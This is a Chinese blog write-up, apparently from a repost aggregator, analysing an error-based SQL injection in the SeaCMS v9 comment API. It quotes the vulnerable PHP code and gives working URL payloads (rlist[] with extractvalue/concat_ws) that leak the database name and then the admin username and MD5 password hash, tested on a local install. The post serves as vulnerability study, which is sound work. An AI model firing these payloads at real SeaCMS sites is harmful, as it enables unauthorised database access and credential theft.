当前位置: 首页 > news >正文

seacmsv9报错注入

1、seacms的介绍

​ seacms中文名:海洋影视管理系统。是一个采用了php5+mysql架构的影视网站框架,因此,如果该框架有漏洞,那使用了该框架的各个网站都会有相同问题。

2、源码的分析

漏洞的部分源码如下:

<?php
session_start();
require_once("../../include/common.php");
$id = (isset($gid) && is_numeric($gid)) ? $gid : 0;
$page = (isset($page) && is_numeric($page)) ? $page : 1;
$type = (isset($type) && is_numeric($type)) ? $type : 1;
$pCount = 0;
$jsoncachefile = sea_DATA."/cache/review/$type/$id.js";
//缓存第一页的评论
if($page<2)
{
	if(file_exists($jsoncachefile))
	{
		$json=LoadFile($jsoncachefile);
		die($json);
	}
}
$h = ReadData($id,$page);
$rlist = array();
if($page<2)
{
	createTextFile($h,$jsoncachefile);
}
die($h);	


function ReadData($id,$page)
{
	global $type,$pCount,$ 	
	$ret = array("","",$page,0,10,$type,$id);
	if($id>0)
	{
		$ret[0] = Readmlist($id,$page,$ret[4]);
		$ret[3] = $pCount;
		$x = implode(',',$rlist);
		if(!empty($x))
		{
		$ret[1] = Readrlist($x,1,10000);
		}
	}	
	$readData = FormatJson($ret);
	return $readData;
}

function Readmlist($id,$page,$size)
{
	global $dsql,$type,$pCount,$rlist;
	$ml=array();
	if($id>0)
	{
		$sqlCount = "SELECT count(*) as dd FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC";
		$rs = $dsql ->GetOne($sqlCount);
		$pCount = ceil($rs['dd']/$size);
		$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC limit ".($page-1)*$size.",$size ";
		$dsql->setQuery($sql);
		$dsql->Execute('commentmlist');
		while($row=$dsql->GetArray('commentmlist'))
		{
			$row['reply'].=ReadReplyID($id,$row['reply'],$rlist);
			$ml[]="{\"cmid\":".$row['id'].",\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".date("Y/n/j H:i:s",$row['dtime'])."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
		}
	}
	$readmlist=join($ml,",");
	return $readmlist;
}

function Readrlist($ids,$page,$size)
{
	global $dsql,$type;
	$rl=array();
	$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";
	$dsql->setQuery($sql);
	$dsql->Execute('commentrlist');
	while($row=$dsql->GetArray('commentrlist'))
	{
		$rl[]="\"".$row['id']."\":{\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".$row['dtime']."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
	}
	$readrlist=join($rl,",");
	return $readrlist;
}

function ReadReplyID($gid,$cmid,&$rlist)
{
	global $dsql;
	if($cmid>0)
	{
		if(!in_array($cmid,$rlist))$rlist[]=$cmid;
		$row = $dsql->GetOne("SELECT reply FROM sea_comment WHERE id=$cmid limit 0,1");
		if(is_array($row))
		{
			$ReplyID = ",".$row['reply'].ReadReplyID($gid,$row['reply'],$rlist);
		}else
		{
			$ReplyID = "";
		}
	}else
	{
		$ReplyID = "";
	}
	return $ReplyID;
}

function FormatJson($json)
{
	$x = "{\"mlist\":[%0%],\"rlist\":{%1%},\"page\":{\"page\":%2%,\"count\":%3%,\"size\":%4%,\"type\":%5%,\"id\":%6%}}";
	for($i=6;$i>=0;$i--)
	{
		$x=str_replace("%".$i."%",$json[$i],$x);
	}
	$formatJson = jsonescape($x);
	return $formatJson;
}

function jsonescape($txt)
{
	$jsonescape=str_replace(chr(13),"",str_replace(chr(10),"",json_decode(str_replace("%u","\u",json_encode("".$txt)))));
	return $jsonescape;
}

3、注入点:

  • $rlist 的初始化位置太靠后,在 ReadData()Readmlist()两个函数都使用完后才进行初始化,那就导致了该变量可以被污染成一个恶意的sql查询语句等

在这里插入图片描述

  • 在这句sql语句中,居然直接将变量 $ids拼接在sql查询中,只需将该变量赋值为恶意语句,即可获取数据库信息,像这样

    SELECT ... WHERE m_type=1 AND id in (1,2,3,'1 OR 1=1')
    

4、开始测试:

1、确认是否能注入:

127.0.0.1/cmsv9.1/upload/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,concat_ws(0x20,0x5c,database())),@`%27`

extraactvalue函数:

假设有一个 XML 字符串 <root><child>value</child></root>,用以下方式可得出返回value

SELECT EXTRACTVALUE('<root><child>value</child></root>', '/root/child');

concat_ws函数:

将 第一个字段 的值插在后面 每个字段 的中间

SELECT CONCAT_WS(‘-’, ‘2023’, ‘10’, ‘05’); – 输出: ‘2023-10-05’

在这里插入图片描述

果然爆出数据库名

2、尝试爆出管理员用户名

http://127.0.0.1/seacmsv9.1/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(name)from%20sea_admin))),@`%27`

在这里插入图片描述

没有报错回显?

上网查发现似乎是数据库中没有数据导致的

3、使用wireshark抓mysql的包发现如下数据包

在这里插入图片描述

上mysql查询该表信息

在这里插入图片描述

发现该表为空表

遂添加数据

在这里插入图片描述

3、再次测试

获取用户名和密码

在这里插入图片描述

在这里插入图片描述

密码似乎是md5加密
不过如果密码难度比较高的话,应该不能破解

**加粗样式
**

相关文章:

  • Pytorch使用手册-使用Wav2Vec2进行强制对齐(专题二十五)
  • 排查和解决线程池瓶颈问题案例
  • 【Veristand】Veristand 预编写教程目录
  • 3-提前结束训练
  • 大模型应用: 多模态交互
  • C++ 106. 从中序与后序遍历序列构造二叉树 - 力扣(LeetCode)
  • mac os 使用 root 登录
  • ubuntu22.04系统如何自建2级ntp服务器
  • Uniapp 小程序:语音播放与暂停功能的实现及优化方案
  • 相同的树-
  • 15.5 基于 RetrievalQA 的销售话术增强系统实战:构建智能销售大脑
  • RAG项目实战:金融问答系统
  • 数据存储:使用Python存储数据到redis详解
  • js 获取节点相对于屏幕的坐标位置,获取节点的宽高,获取鼠标事件回调的鼠标位置,计算鼠标相对于某个节点下的坐标
  • 【量化科普】Leverage,杠杆
  • Java中的锁机制:synchronized vs ReentrantLock,如何选择?
  • Python 函数式编程-装饰器
  • css中overflow-x:auto无效
  • 一周学会Flask3 Python Web开发-Jinja2模版中加载静态文件
  • 快速理解Raft分布式共识算法
  • 7月纽约举办“上海日”,上海大剧院舞剧《白蛇》连演三场
  • 食用城市|食饭识人
  • A股高开高走:沪指涨0.82%,创指涨2.63%,超4100股收涨
  • 人民日报:浙江着力提升民营企业核心竞争力
  • 为何发胖?如何减肥?一个医学体重管理中心的探索启示
  • 贵州省总工会正厅级副主席梁伟被查,曾任贵州省纪委副书记